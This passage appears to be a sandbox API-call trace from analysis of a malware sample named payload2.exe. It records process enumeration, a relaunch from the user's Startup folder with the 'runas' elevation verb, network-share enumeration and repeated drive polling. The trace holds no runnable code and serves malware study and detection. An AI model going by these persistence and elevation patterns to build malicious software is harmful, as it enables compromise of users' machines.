	[0204.622] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0204.622] lstrlenW (lpString="wininit.exe") returned 11
	[0204.623] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0204.623] lstrlenW (lpString="csrss.exe") returned 9
	[0204.623] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0204.628] lstrlenW (lpString="winlogon.exe") returned 12
	[0204.628] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0204.629] lstrlenW (lpString="services.exe") returned 12
	[0204.629] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0204.629] lstrlenW (lpString="lsass.exe") returned 9
	[0204.630] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0204.630] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0204.630] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0204.630] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0204.631] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0204.631] lstrlenW (lpString="svchost.exe") returned 11
	[0204.631] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0204.632] lstrlenW (lpString="svchost.exe") returned 11
	[0204.632] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0204.632] lstrlenW (lpString="dwm.exe") returned 7
	[0204.632] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0204.633] lstrlenW (lpString="svchost.exe") returned 11
	[0204.633] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0204.633] lstrlenW (lpString="svchost.exe") returned 11
	[0204.633] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0204.634] lstrlenW (lpString="svchost.exe") returned 11
	[0204.634] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0204.634] lstrlenW (lpString="svchost.exe") returned 11
	[0204.634] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0204.635] lstrlenW (lpString="svchost.exe") returned 11
	[0204.635] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0204.635] lstrlenW (lpString="svchost.exe") returned 11
	[0204.635] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0204.636] lstrlenW (lpString="svchost.exe") returned 11
	[0204.636] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0204.636] lstrlenW (lpString="svchost.exe") returned 11
	[0204.636] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0204.637] lstrlenW (lpString="svchost.exe") returned 11
	[0204.637] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0204.637] lstrlenW (lpString="svchost.exe") returned 11
	[0204.638] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0204.638] lstrlenW (lpString="spoolsv.exe") returned 11
	[0204.638] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0204.638] lstrlenW (lpString="svchost.exe") returned 11
	[0204.639] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0204.639] lstrlenW (lpString="audiodg.exe") returned 11
	[0204.639] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0204.640] lstrlenW (lpString="sihost.exe") returned 10
	[0204.640] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0204.640] lstrlenW (lpString="svchost.exe") returned 11
	[0204.641] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0204.641] lstrlenW (lpString="taskhostw.exe") returned 13
	[0204.641] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0204.641] lstrlenW (lpString="msoia.exe") returned 9
	[0204.642] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0204.642] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0204.642] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0204.643] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0204.643] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0204.643] lstrlenW (lpString="Memory Compression") returned 18
	[0204.643] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0204.644] lstrlenW (lpString="explorer.exe") returned 12
	[0204.644] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0204.644] lstrlenW (lpString="SearchUI.exe") returned 12
	[0204.644] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0204.645] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0204.645] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0204.645] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0204.645] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0204.646] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0204.646] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0204.646] lstrlenW (lpString="payload2.exe") returned 12
	[0204.646] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0204.647] lstrlenW (lpString="dllhost.exe") returned 11
	[0204.647] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0204.647] lstrlenW (lpString="payload2.exe") returned 12
	[0204.647] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xf54, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0204.648] lstrlenW (lpString="cmd.exe") returned 7
	[0204.648] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xf54, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 0
	[0204.648] CloseHandle (hObject=0x2b0) returned 1
	[0204.648] Sleep (dwMilliseconds=0x1f4) 

Thread:
	id = 35
	os_tid = 0xd98

	[0163.904] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x679ba0
	[0163.904] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x67a258
	[0163.905] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x679b40
	[0163.905] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x679b40, Size=0x20) returned 0x64d950
	[0163.905] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x679ac8
	[0163.905] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x679ac8, Size=0x20) returned 0x64d838
	[0163.905] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0163.906] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0163.906] Wow64DisableWow64FsRedirection (in: OldValue=0x268ff20 | out: OldValue=0x268ff20*=0x0) returned 1
	[0163.906] lstrlenW (lpString="kernel32.dll") returned 12
	[0163.906] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64d950 | out: hHeap=0x610000) returned 1
	[0163.906] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0163.906] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64d838 | out: hHeap=0x610000) returned 1
	[0163.906] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x67a258, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload2.exe")) returned 0x5a
	[0163.906] ShellExecuteExW (in: pExecInfo=0x268ff2c*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe", lpParameters="-a", lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x268ff2c*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe", lpParameters="-a", lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1
	[0201.759] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x443faf8
	[0201.759] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x443faf8, Size=0x20) returned 0x668128
	[0201.759] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x443f948
	[0201.759] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x443f948, Size=0x20) returned 0x667ef8
	[0201.759] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0201.759] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0201.759] Wow64DisableWow64FsRedirection (in: OldValue=0x0 | out: OldValue=0x0) returned 0
	[0201.762] lstrlenW (lpString="kernel32.dll") returned 12
	[0201.762] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x667ef8 | out: hHeap=0x610000) returned 1
	[0201.762] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0201.762] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x668128 | out: hHeap=0x610000) returned 1
	[0201.762] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x67a258 | out: hHeap=0x610000) returned 1
	[0201.762] lstrlenW (lpString="runas") returned 5
	[0201.762] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x679ba0 | out: hHeap=0x610000) returned 1
	[0201.762] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x0
	[0201.762] ReleaseMutex (hMutex=0x1ec) returned 1
	[0201.762] Sleep (dwMilliseconds=0x1f4) 
	[0202.508] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x0
	[0202.509] ReleaseMutex (hMutex=0x1ec) returned 1
	[0202.509] Sleep (dwMilliseconds=0x1f4) 
	[0203.536] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x0
	[0203.536] ReleaseMutex (hMutex=0x1ec) returned 1
	[0203.536] Sleep (dwMilliseconds=0x1f4) 
	[0204.176] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x102
	[0204.176] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6529f8 | out: hHeap=0x610000) returned 1

Thread:
	id = 36
	os_tid = 0xd9c

	[0164.021] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x679bb8
	[0164.021] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x679bb8, Size=0x20) returned 0x64d5e0
	[0164.021] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64d5e0, Size=0x40) returned 0x627638
	[0164.021] GetLogicalDrives () returned 0x4
	[0164.021] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x68a260
	[0164.021] GetComputerNameW (in: lpBuffer=0x68a264, nSize=0x278ff64 | out: lpBuffer="NQDPDE", nSize=0x278ff64) returned 1
	[0164.021] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1000) returned 0x66ea68
	[0164.022] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x278ff34 | out: lphEnum=0x278ff34*=0x6266a8) returned 0x0
	[0164.023] WNetEnumResourceW (in: hEnum=0x6266a8, lpcCount=0x278ff30, lpBuffer=0x66ea68, lpBufferSize=0x278ff38 | out: lpcCount=0x278ff30, lpBuffer=0x66ea68, lpBufferSize=0x278ff38) returned 0x103
	[0164.024] WNetCloseEnum (hEnum=0x6266a8) returned 0x0
	[0164.024] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x278ff34 | out: lphEnum=0x278ff34*=0x629080) returned 0x0
	[0164.668] WNetEnumResourceW (in: hEnum=0x629080, lpcCount=0x278ff30, lpBuffer=0x66ea68, lpBufferSize=0x278ff38 | out: lpcCount=0x278ff30, lpBuffer=0x66ea68, lpBufferSize=0x278ff38) returned 0x0
	[0164.668] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1000) returned 0x675a98
	[0164.668] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x66ea68, lphEnum=0x278ff08 | out: lphEnum=0x278ff08*=0x626368) returned 0x0
	[0164.672] WNetEnumResourceW (in: hEnum=0x626368, lpcCount=0x278ff04, lpBuffer=0x675a98, lpBufferSize=0x278ff0c | out: lpcCount=0x278ff04, lpBuffer=0x675a98, lpBufferSize=0x278ff0c) returned 0x103
	[0164.672] WNetCloseEnum (hEnum=0x626368) returned 0x0
	[0164.672] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1000) returned 0x676aa0
	[0164.672] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x66ea88, lphEnum=0x278ff08 | out: lphEnum=0x278ff08*=0x0) returned 0x4b8
	[0178.988] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1000) returned 0x449afd0
	[0178.988] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x66eaa8, lphEnum=0x278ff08 | out: lphEnum=0x278ff08*=0x0) returned 0x4c6
	[0178.994] WNetEnumResourceW (in: hEnum=0x629080, lpcCount=0x278ff30, lpBuffer=0x66ea68, lpBufferSize=0x278ff38 | out: lpcCount=0x278ff30, lpBuffer=0x66ea68, lpBufferSize=0x278ff38) returned 0x103
	[0178.994] WNetCloseEnum (hEnum=0x629080) returned 0x0
	[0178.994] GetLogicalDrives () returned 0x4
	[0178.994] Sleep (dwMilliseconds=0x64) 
	[0179.187] GetLogicalDrives () returned 0x4
	[0179.187] Sleep (dwMilliseconds=0x64) 
	[0179.342] GetLogicalDrives () returned 0x4
	[0179.342] Sleep (dwMilliseconds=0x64) 
	[0179.539] GetLogicalDrives () returned 0x4
	[0179.539] Sleep (dwMilliseconds=0x64) 
	[0179.846] GetLogicalDrives () returned 0x4
	[0179.846] Sleep (dwMilliseconds=0x64) 
	[0180.151] GetLogicalDrives () returned 0x4
	[0180.152] Sleep (dwMilliseconds=0x64) 
	[0180.570] GetLogicalDrives () returned 0x4
	[0180.570] Sleep (dwMilliseconds=0x64) 
	[0181.155] GetLogicalDrives () returned 0x4
	[0181.155] Sleep (dwMilliseconds=0x64) 
	[0181.592] GetLogicalDrives () returned 0x4
	[0181.592] Sleep (dwMilliseconds=0x64) 
	[0182.199] GetLogicalDrives () returned 0x4
	[0182.199] Sleep (dwMilliseconds=0x64) 
	[0183.069] GetLogicalDrives () returned 0x4
	[0183.069] Sleep (dwMilliseconds=0x64) 
	[0183.535] GetLogicalDrives () returned 0x4
	[0183.535] Sleep (dwMilliseconds=0x64) 
	[0184.083] GetLogicalDrives () returned 0x4
	[0184.083] Sleep (dwMilliseconds=0x64) 
	[0184.468] GetLogicalDrives () returned 0x4
	[0184.469] Sleep (dwMilliseconds=0x64) 
	[0185.387] GetLogicalDrives () returned 0x4
	[0185.387] Sleep (dwMilliseconds=0x64) 
	[0185.800] GetLogicalDrives () returned 0x4
	[0185.800] Sleep (dwMilliseconds=0x64) 
	[0186.774] GetLogicalDrives () returned 0x4
	[0186.774] Sleep (dwMilliseconds=0x64) 
	[0187.169] GetLogicalDrives () returned 0x4
	[0187.169] Sleep (dwMilliseconds=0x64) 
	[0187.362] GetLogicalDrives () returned 0x4
	[0187.362] Sleep (dwMilliseconds=0x64) 
	[0187.690] GetLogicalDrives () returned 0x4
	[0187.690] Sleep (dwMilliseconds=0x64) 
	[0187.919] GetLogicalDrives () returned 0x4
	[0187.930] Sleep (dwMilliseconds=0x64) 
	[0188.037] GetLogicalDrives () returned 0x4
	[0188.037] Sleep (dwMilliseconds=0x64) 
	[0188.408] GetLogicalDrives () returned 0x4
	[0188.408] Sleep (dwMilliseconds=0x64) 
	[0188.827] GetLogicalDrives () returned 0x4
	[0188.828] Sleep (dwMilliseconds=0x64) 
	[0189.198] GetLogicalDrives () returned 0x4
	[0189.198] Sleep (dwMilliseconds=0x64) 
	[0189.473] GetLogicalDrives () returned 0x4
	[0189.473] Sleep (dwMilliseconds=0x64) 
	[0189.707] GetLogicalDrives () returned 0x4
	[0189.707] Sleep (dwMilliseconds=0x64) 
	[0189.872] GetLogicalDrives () returned 0x4
	[0189.873] Sleep (dwMilliseconds=0x64) 
	[0190.171] GetLogicalDrives () returned 0x4
	[0190.171] Sleep (dwMilliseconds=0x64) 
	[0190.553] GetLogicalDrives () returned 0x4
	[0190.553] Sleep (dwMilliseconds=0x64) 
	[0190.703] GetLogicalDrives () returned 0x4
	[0190.703] Sleep (dwMilliseconds=0x64) 
	[0191.074] GetLogicalDrives () returned 0x4
	[0191.075] Sleep (dwMilliseconds=0x64) 
	[0191.208] GetLogicalDrives () returned 0x4
	[0191.208] Sleep (dwMilliseconds=0x64) 
	[0191.374] GetLogicalDrives () returned 0x4
	[0191.374] Sleep (dwMilliseconds=0x64) 
	[0191.943] GetLogicalDrives () returned 0x4
	[0191.943] Sleep (dwMilliseconds=0x64) 
	[0192.402] GetLogicalDrives () returned 0x4
	[0192.402] Sleep (dwMilliseconds=0x64) 
	[0192.810] GetLogicalDrives () returned 0x4
	[0192.810] Sleep (dwMilliseconds=0x64) 
	[0193.110] GetLogicalDrives () returned 0x4
	[0193.110] Sleep (dwMilliseconds=0x64) 
	[0193.399] GetLogicalDrives () returned 0x4
	[0193.399] Sleep (dwMilliseconds=0x64) 
	[0193.734] GetLogicalDrives () returned 0x4
	[0193.734] Sleep (dwMilliseconds=0x64) 
	[0194.205] GetLogicalDrives () returned 0x4
	[0194.205] Sleep (dwMilliseconds=0x64) 
	[0194.640] GetLogicalDrives () returned 0x4
